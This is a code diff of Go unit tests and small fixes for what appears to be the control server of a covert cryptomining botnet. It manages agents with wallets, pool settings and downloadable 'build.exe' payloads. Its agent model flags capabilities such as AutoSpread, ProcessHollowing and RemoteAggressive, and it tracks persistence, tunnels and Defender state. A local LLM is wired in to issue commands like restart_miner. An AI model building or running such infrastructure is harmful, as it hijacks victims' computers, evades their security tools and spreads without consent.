if got := hub.GetAgentLog(agentID); got != "line1\nline2" {
|
||||
t.Fatalf("log tail = %q", got)
|
||||
}
|
||||
|
||||
cmdPayload, _ := json.Marshal(map[string]interface{}{"action": "exec", "success": true})
|
||||
if err := conn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAgentWSMaxAgentsPolicy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{MaxAgents: 1})
|
||||
|
||||
conn1, _ := dialAgentWS(t, hub)
|
||||
authAgentConn(t, conn1, map[string]interface{}{"agent_id": "first", "hostname": "h1"})
|
||||
|
||||
conn2, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn2, map[string]interface{}{"agent_id": "second", "hostname": "h2"})
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["success"] != false {
|
||||
t.Fatalf("second agent should be rejected at max=1: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAgentWSInvalidAuthPayload(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
if err := conn.WriteJSON(Message{Type: "auth", Payload: json.RawMessage(`"not-an-object"`)}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var resp Message
|
||||
if err := conn.ReadJSON(&resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
_ = json.Unmarshal(resp.Payload, &body)
|
||||
if body["success"] != false {
|
||||
t.Fatalf("invalid auth payload should fail: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSHubSendAgentCommandNotConnected(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
if err := hub.SendAgentCommand("missing", "restart", nil); err == nil {
|
||||
t.Fatal("expected error for disconnected agent")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSHubBroadcastHelpers(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.BroadcastServerLog(" ")
|
||||
hub.BroadcastFleetAlert(map[string]string{"level": "info"})
|
||||
hub.BroadcastPoolStatus(map[string]string{"connected": "true"})
|
||||
hub.BroadcastAIActivity(map[string]string{"agent_id": "a"})
|
||||
}
|
||||
|
||||
func TestWSHubEnrichAgentsCapabilities(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
agentID := "cap-agent"
|
||||
connectTestAgent(t, hub, agentID)
|
||||
|
||||
agents := []*models.Agent{{ID: agentID, Name: "x"}}
|
||||
hub.enrichAgentsCapabilities(agents)
|
||||
if agents[0].Capabilities == nil {
|
||||
t.Fatal("expected capabilities enrichment")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSHubAgentPoolConfigDefaults(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.defaultPool = pool.Config{Host: "primary.pool", Port: 3333, Wallet: "48wallet", Password: "pw"}
|
||||
hub.agentConfigs["a1"] = AgentForgeConfig{PoolHost: "custom.pool", PoolPort: 4444}
|
||||
cfg := hub.agentPoolConfig("a1")
|
||||
if cfg.Host != "custom.pool" || cfg.Port != 4444 {
|
||||
t.Fatalf("unexpected pool cfg: %+v", cfg)
|
||||
}
|
||||
cfg = hub.agentPoolConfig("missing")
|
||||
if cfg.Host != "primary.pool" {
|
||||
t.Fatalf("missing agent should use default pool: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSHubConnectedAgentCount(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
if hub.connectedAgentCount() != 0 {
|
||||
t.Fatal("expected zero agents initially")
|
||||
}
|
||||
connectTestAgent(t, hub, "count-agent")
|
||||
if hub.connectedAgentCount() != 1 {
|
||||
t.Fatalf("expected 1 connected agent, got %d", hub.connectedAgentCount())
|
||||
}
|
||||
}
|
||||
30
server/internal/api/ws_types_test.go
Normal file
30
server/internal/api/ws_types_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestWSTypesJSONRoundTrip(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
in interface{}
|
||||
}{
|
||||
{"stats", WSStatsUpdate{AgentID: "a1", Hashrate15m: 123.4, CPUUsagePct: 50}},
|
||||
{"offline", WSAgentOffline{AgentID: "a1"}},
|
||||
{"command", WSCommandResult{AgentID: "a1", Action: "exec", Success: true, Message: "ok"}},
|
||||
{"log", WSAgentLog{AgentID: "a1", Content: "tail"}},
|
||||
{"server_log", WSServerLog{Line: "started"}},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
data, err := json.Marshal(tc.in)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(data) == 0 {
|
||||
t.Fatal("empty JSON")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package db
|
||||
import (
|
||||
"database/sql"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
@@ -92,6 +93,24 @@ func TestSetPinnedBuild(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSetPinnedBuildUnknownID(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
now := time.Now()
|
||||
insertBuild(t, d, &models.BuildRecord{ID: "b1", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now, Pinned: true})
|
||||
|
||||
err := d.SetPinnedBuild("missing")
|
||||
if err == nil {
|
||||
t.Fatal("expected error for unknown build id")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "not found") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
b1, _ := d.GetBuild("b1")
|
||||
if b1.Pinned {
|
||||
t.Fatal("unknown id should leave builds unpinned, not keep prior pin")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetLatestBuildForPlatform(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
base := time.Now().UTC().Truncate(time.Second)
|
||||
|
||||
@@ -307,7 +307,8 @@ func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildReco
|
||||
}
|
||||
|
||||
// SetPinnedBuild unpins all builds then pins the one with the given id.
|
||||
// If id is empty, all builds are unpinned.
|
||||
// If id is empty, all builds are unpinned. Returns an error when id is
|
||||
// non-empty but no build row matches (avoids leaving all builds unpinned).
|
||||
func (d *Database) SetPinnedBuild(id string) error {
|
||||
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
|
||||
if err != nil {
|
||||
@@ -316,9 +317,19 @@ func (d *Database) SetPinnedBuild(id string) error {
|
||||
if id == "" {
|
||||
return nil
|
||||
}
|
||||
_, err = d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
||||
res, err := d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, err := res.RowsAffected()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n == 0 {
|
||||
return fmt.Errorf("build not found: %s", id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
|
||||
|
||||
@@ -34,6 +34,11 @@ type Agent struct {
|
||||
|
||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||
|
||||
// DNS config — T1016 System Network Configuration Discovery
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
DNSDrifted bool `json:"dns_drifted,omitempty"`
|
||||
|
||||
// Resource pressure — mining-specific runtime telemetry
|
||||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||
|
||||
169
server/internal/models/agent_test.go
Normal file
169
server/internal/models/agent_test.go
Normal file
@@ -0,0 +1,169 @@
|
||||
package models
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func roundTripJSON(t *testing.T, v any) {
|
||||
t.Helper()
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
ptr := newSameType(v)
|
||||
if err := json.Unmarshal(b, ptr); err != nil {
|
||||
t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
|
||||
}
|
||||
}
|
||||
|
||||
func newSameType(v any) any {
|
||||
switch v.(type) {
|
||||
case Agent:
|
||||
return &Agent{}
|
||||
case AgentService:
|
||||
return &AgentService{}
|
||||
case AgentCapabilities:
|
||||
return &AgentCapabilities{}
|
||||
case Share:
|
||||
return &Share{}
|
||||
case HashrateSample:
|
||||
return &HashrateSample{}
|
||||
case Job:
|
||||
return &Job{}
|
||||
case BuildRecord:
|
||||
return &BuildRecord{}
|
||||
default:
|
||||
panic("unsupported type")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentJSONRoundTrip(t *testing.T) {
|
||||
now := time.Date(2026, 5, 30, 12, 0, 0, 0, time.UTC)
|
||||
cpuFreq := 3200
|
||||
cpuMax := 4000
|
||||
throttle := true
|
||||
cpuTemp := 72
|
||||
diskFree := 120.5
|
||||
diskTotal := 512.0
|
||||
diskPct := 23
|
||||
gpuTemp := 65
|
||||
gpuUsage := 40
|
||||
ssh := true
|
||||
defender := true
|
||||
rtp := false
|
||||
fwDomain := true
|
||||
fwPrivate := false
|
||||
fwPublic := true
|
||||
patchDays := 14
|
||||
patch := "2026-05-01"
|
||||
pending := 3
|
||||
reboot := false
|
||||
elevated := true
|
||||
|
||||
agent := Agent{
|
||||
ID: "agent-1", Name: "worker-a", Wallet: "48abc", IP: "10.0.0.5",
|
||||
Version: "1.0", Status: "online", CPUCores: 8, MemoryGB: 16,
|
||||
LastSeen: now, CreatedAt: now.Add(-time.Hour),
|
||||
Hashrate15s: 1200, Hashrate1m: 1180, Hashrate15m: 1150,
|
||||
SharesTotal: 100, SharesGood: 98, SharesBad: 2,
|
||||
CPUUsagePct: 55.5, MemoryUsagePct: 42.0, UptimeSeconds: 3600,
|
||||
Notes: "lab node", Tags: []string{"gpu", "windows"},
|
||||
Platform: "windows", Arch: "amd64", OSVersion: "10.0.26200",
|
||||
Capabilities: &AgentCapabilities{
|
||||
HolePunch: true, RemoteAggressive: false, MeshP2P: false,
|
||||
AutoSpread: false, ProcessHollowing: false, AIEnabled: true,
|
||||
},
|
||||
CPUFreqMHz: &cpuFreq, CPUMaxMHz: &cpuMax, CPUThrottle: &throttle,
|
||||
CPUTempC: &cpuTemp, DiskFreeGB: &diskFree, DiskTotalGB: &diskTotal,
|
||||
DiskFreePct: &diskPct, GPUTempC: &gpuTemp, GPUUsagePct: &gpuUsage,
|
||||
SSHAvailable: &ssh, PostureScore: 80,
|
||||
DefenderEnabled: &defender, DefenderRTP: &rtp,
|
||||
AVProducts: []string{"Windows Defender"},
|
||||
FirewallDomain: &fwDomain, FirewallPrivate: &fwPrivate, FirewallPublic: &fwPublic,
|
||||
LastPatchDays: &patchDays, LastPatch: &patch, PendingUpdates: &pending,
|
||||
RebootPending: &reboot, AgentElevated: &elevated,
|
||||
Services: []AgentService{
|
||||
{Name: "WinDefend", DisplayName: "Defender", Status: "running", StartType: "auto"},
|
||||
},
|
||||
}
|
||||
roundTripJSON(t, agent)
|
||||
}
|
||||
|
||||
func TestAgentServiceJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, AgentService{
|
||||
Name: "sshd", DisplayName: "OpenSSH", Status: "running", StartType: "manual",
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentCapabilitiesJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, AgentCapabilities{
|
||||
HolePunch: true, RemoteAggressive: true, MeshP2P: true,
|
||||
AutoSpread: true, ProcessHollowing: true, AIEnabled: true,
|
||||
})
|
||||
}
|
||||
|
||||
func TestShareJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, Share{
|
||||
ID: 42, AgentID: "a1", JobID: "j1", Difficulty: 100000,
|
||||
Accepted: true, Hash: "abc", Nonce: "deadbeef", Timestamp: time.Now().UTC(),
|
||||
})
|
||||
}
|
||||
|
||||
func TestShareJSONOmitsEmptyError(t *testing.T) {
|
||||
s := Share{ID: 1, AgentID: "a", JobID: "j", Accepted: false, Timestamp: time.Now().UTC()}
|
||||
b, _ := json.Marshal(s)
|
||||
if string(b) != "" && containsField(string(b), "error") {
|
||||
// error field should be omitted when empty
|
||||
var m map[string]any
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if _, ok := m["error"]; ok {
|
||||
t.Fatal("empty error should be omitted")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func containsField(jsonStr, field string) bool {
|
||||
var m map[string]any
|
||||
if err := json.Unmarshal([]byte(jsonStr), &m); err != nil {
|
||||
return false
|
||||
}
|
||||
_, ok := m[field]
|
||||
return ok
|
||||
}
|
||||
|
||||
func TestHashrateSampleJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, HashrateSample{
|
||||
ID: 1, AgentID: "a1", Hashrate: 999.5, Timestamp: time.Now().UTC(),
|
||||
})
|
||||
}
|
||||
|
||||
func TestJobJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, Job{
|
||||
ID: "job-1", Height: 2800000, Difficulty: 500000,
|
||||
BlockTemplate: "template", SeedHash: "seed", Target: "target",
|
||||
CreatedAt: time.Now().UTC(),
|
||||
})
|
||||
}
|
||||
|
||||
func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, BuildRecord{
|
||||
ID: "build-1", WorkerName: "w", ServerURL: "https://hub", Wallet: "48x",
|
||||
Threads: 4, FileSize: 1024, BundleSize: 2048,
|
||||
FilePath: "/data/build.exe", FileName: "build.exe",
|
||||
DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
|
||||
CreatedAt: time.Now().UTC(), Pinned: true,
|
||||
PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentMinimalJSON(t *testing.T) {
|
||||
var out Agent
|
||||
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.ID != "x" || out.Status != "offline" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
225
server/internal/ollama/engine_test.go
Normal file
225
server/internal/ollama/engine_test.go
Normal file
@@ -0,0 +1,225 @@
|
||||
package ollama
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestNewEngineDefaults(t *testing.T) {
|
||||
e := NewEngine("", "")
|
||||
if e.endpoint != "http://localhost:11434" {
|
||||
t.Fatalf("endpoint default: %q", e.endpoint)
|
||||
}
|
||||
if e.model != "llama3.2" {
|
||||
t.Fatalf("model default: %q", e.model)
|
||||
}
|
||||
if e.systemPrompt == "" {
|
||||
t.Fatal("system prompt should be populated")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewEngineTrimsTrailingSlash(t *testing.T) {
|
||||
e := NewEngine("http://127.0.0.1:11434/", "mistral")
|
||||
if e.endpoint != "http://127.0.0.1:11434" {
|
||||
t.Fatalf("endpoint trim: %q", e.endpoint)
|
||||
}
|
||||
if e.model != "mistral" {
|
||||
t.Fatalf("model: %q", e.model)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStateJSONRoundTrip(t *testing.T) {
|
||||
state := AgentState{
|
||||
AgentID: "a1", WorkerName: "w", Hostname: "host",
|
||||
UptimeSeconds: 100, IsRunning: true, CPUCores: 4,
|
||||
CPUUsagePct: 50, MemoryGB: 8, MemoryUsagePct: 40,
|
||||
Hashrate15m: 500, SharesTotal: 10, SharesGood: 9, SharesBad: 1,
|
||||
ProcessName: "svc.exe", InstallPath: `C:\svc`, HasPersistence: true,
|
||||
HasTunnel: false, DefenderState: "enabled", LastError: "none",
|
||||
}
|
||||
b, err := json.Marshal(state)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out AgentState
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.AgentID != state.AgentID || out.LastError != state.LastError {
|
||||
t.Fatalf("round trip mismatch: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolCallAndDecideResponseJSONRoundTrip(t *testing.T) {
|
||||
resp := DecideResponse{
|
||||
Reasoning: "restart needed",
|
||||
ToolCalls: []ToolCall{
|
||||
{Tool: "restart_miner", Args: map[string]string{"process_name": "svc"}, Reason: "down"},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(resp)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out DecideResponse
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(out.ToolCalls) != 1 || out.ToolCalls[0].Tool != "restart_miner" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReportJSONRoundTrip(t *testing.T) {
|
||||
ts := time.Date(2026, 5, 30, 0, 0, 0, 0, time.UTC)
|
||||
r := Report{AgentID: "a1", Tool: "sleep", Success: true, Output: "ok", Timestamp: ts}
|
||||
b, err := json.Marshal(r)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out Report
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !out.Timestamp.Equal(ts) || out.Tool != "sleep" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func mockChatServer(t *testing.T, content string, status int) *httptest.Server {
|
||||
t.Helper()
|
||||
if status == 0 {
|
||||
status = http.StatusOK
|
||||
}
|
||||
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/chat":
|
||||
w.WriteHeader(status)
|
||||
if status == http.StatusOK {
|
||||
_ = json.NewEncoder(w).Encode(ollamaResponse{
|
||||
Message: ollamaMessage{Role: "assistant", Content: content},
|
||||
Done: true,
|
||||
})
|
||||
}
|
||||
case "/api/tags":
|
||||
w.WriteHeader(status)
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
}
|
||||
|
||||
func TestDecidePlainJSON(t *testing.T) {
|
||||
content := `{"reasoning":"ok","tool_calls":[{"tool":"sleep","args":{"seconds":"5"},"reason":"idle"}]}`
|
||||
srv := mockChatServer(t, content, 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
state := &AgentState{AgentID: "a1", IsRunning: true}
|
||||
resp, err := e.Decide(state)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.Reasoning != "ok" || len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
|
||||
t.Fatalf("unexpected: %+v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideMarkdownJSONBlock(t *testing.T) {
|
||||
content := "Here is the plan:\n```json\n{\"reasoning\":\"markdown\",\"tool_calls\":[]}\n```\n"
|
||||
srv := mockChatServer(t, content, 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
resp, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.Reasoning != "markdown" {
|
||||
t.Fatalf("expected markdown reasoning, got %q", resp.Reasoning)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideExtractsEmbeddedJSON(t *testing.T) {
|
||||
content := `Analysis complete. {"reasoning":"embedded","tool_calls":[]} End.`
|
||||
srv := mockChatServer(t, content, 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
resp, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.Reasoning != "embedded" {
|
||||
t.Fatalf("expected embedded reasoning, got %q", resp.Reasoning)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideOllamaHTTPError(t *testing.T) {
|
||||
srv := mockChatServer(t, "", http.StatusInternalServerError)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err == nil || !strings.Contains(err.Error(), "status 500") {
|
||||
t.Fatalf("expected status error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideOllamaAPIErrorField(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write([]byte(`{"error":"model not found","done":true}`))
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "missing")
|
||||
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err == nil || !strings.Contains(err.Error(), "model not found") {
|
||||
t.Fatalf("expected ollama error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideInvalidLLMJSON(t *testing.T) {
|
||||
srv := mockChatServer(t, "not json at all", 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err == nil || !strings.Contains(err.Error(), "parse LLM response") {
|
||||
t.Fatalf("expected parse error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHealthCheckSuccess(t *testing.T) {
|
||||
srv := mockChatServer(t, "", 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
if err := e.HealthCheck(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHealthCheckFailure(t *testing.T) {
|
||||
srv := mockChatServer(t, "", http.StatusServiceUnavailable)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
if err := e.HealthCheck(); err == nil {
|
||||
t.Fatal("expected health check error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildSystemPromptContainsTools(t *testing.T) {
|
||||
prompt := buildSystemPrompt()
|
||||
for _, tool := range []string{"check_miner", "restart_miner", "upload_log", "85%"} {
|
||||
if !strings.Contains(prompt, tool) {
|
||||
t.Fatalf("prompt missing %q", tool)
|
||||
}
|
||||
}
|
||||
}
|
||||
97
server/internal/pool/manager_test.go
Normal file
97
server/internal/pool/manager_test.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package pool
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsurePoolValidation(t *testing.T) {
|
||||
m := NewManager(nil, nil)
|
||||
|
||||
if _, err := m.EnsurePool(nil); err == nil {
|
||||
t.Fatal("nil config should error")
|
||||
}
|
||||
if _, err := m.EnsurePool(&Config{}); err == nil || !strings.Contains(err.Error(), "host") {
|
||||
t.Fatalf("empty host: %v", err)
|
||||
}
|
||||
if _, err := m.EnsurePool(&Config{Host: "pool.example.com"}); err == nil || !strings.Contains(err.Error(), "wallet") {
|
||||
t.Fatalf("empty wallet: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetPoolNilAndDefaults(t *testing.T) {
|
||||
m := NewManager(nil, nil)
|
||||
if p := m.GetPool(nil); p != nil {
|
||||
t.Fatal("nil config should return nil proxy")
|
||||
}
|
||||
if p := m.GetPool(&Config{}); p != nil {
|
||||
t.Fatal("incomplete config should return nil")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolKeyDistinct(t *testing.T) {
|
||||
a := poolKey(&Config{Host: "a.com", Port: 3333, UseTLS: false, Wallet: "w1"})
|
||||
b := poolKey(&Config{Host: "a.com", Port: 3333, UseTLS: true, Wallet: "w1"})
|
||||
if a == b {
|
||||
t.Fatal("TLS flag should affect pool key")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTruncateWallet(t *testing.T) {
|
||||
if truncateWallet("short", 12) != "short" {
|
||||
t.Fatal("short wallet unchanged")
|
||||
}
|
||||
if truncateWallet("012345678901234567890", 12) != "012345678901" {
|
||||
t.Fatalf("truncate wrong: %q", truncateWallet("012345678901234567890", 12))
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolStatusLevel(t *testing.T) {
|
||||
if poolStatusLevel(false, false) != "red" {
|
||||
t.Fatal("disconnected = red")
|
||||
}
|
||||
if poolStatusLevel(true, false) != "yellow" {
|
||||
t.Fatal("connected no job = yellow")
|
||||
}
|
||||
if poolStatusLevel(true, true) != "green" {
|
||||
t.Fatal("connected with job = green")
|
||||
}
|
||||
}
|
||||
|
||||
func TestManagerSetReconnectDelayAndVerbose(t *testing.T) {
|
||||
m := NewManager(nil, nil)
|
||||
m.SetReconnectDelay(0)
|
||||
m.SetReconnectDelay(30)
|
||||
m.SetVerboseTraffic(true)
|
||||
m.SetVerboseTraffic(false)
|
||||
if st := m.ListStatus(); len(st) != 0 {
|
||||
t.Fatalf("expected empty status, got %d", len(st))
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePoolWithBackupsEmptyBackups(t *testing.T) {
|
||||
m := NewManager(nil, nil)
|
||||
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected connection failure to unreachable pool")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "unreachable") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePoolWithBackupsSkipsInvalidBackup(t *testing.T) {
|
||||
m := NewManager(nil, nil)
|
||||
backups := []Config{{Host: "", Port: 0}, {Host: "127.0.0.1", Port: 1, Wallet: "48x"}}
|
||||
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, backups)
|
||||
if err == nil {
|
||||
t.Fatal("expected all endpoints unreachable")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolStatusJSONTags(t *testing.T) {
|
||||
st := PoolStatus{Key: "k", Host: "h", Port: 3333, UseTLS: true, Wallet: "w", Connected: true, Status: "green"}
|
||||
if st.Key == "" || st.Status != "green" {
|
||||
t.Fatalf("unexpected status struct: %+v", st)
|
||||
}
|
||||
}
|
||||
32
server/internal/sys/firewall_test.go
Normal file
32
server/internal/sys/firewall_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package sys
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsureInboundTCPPortInvalidPort(t *testing.T) {
|
||||
err := EnsureInboundTCPPort(0, "test")
|
||||
if err == nil {
|
||||
t.Fatal("expected error for port 0")
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
if !strings.Contains(err.Error(), "invalid port") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureInboundTCPPortNonWindows(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("stub-only test for non-Windows builds")
|
||||
}
|
||||
err := EnsureInboundTCPPort(8080, "test")
|
||||
if err == nil {
|
||||
t.Fatal("expected error on non-Windows")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "only supported on Windows") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { beforeEach, describe, expect, it } from 'vitest';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
|
||||
describe('auth session helpers', () => {
|
||||
@@ -23,4 +23,11 @@ describe('auth session helpers', () => {
|
||||
clearStoredAuth();
|
||||
expect(authHeaders()).toEqual({});
|
||||
});
|
||||
|
||||
it('getStoredAuth returns null when sessionStorage throws', () => {
|
||||
vi.spyOn(Storage.prototype, 'getItem').mockImplementation(() => {
|
||||
throw new Error('blocked');
|
||||
});
|
||||
expect(getStoredAuth()).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
294
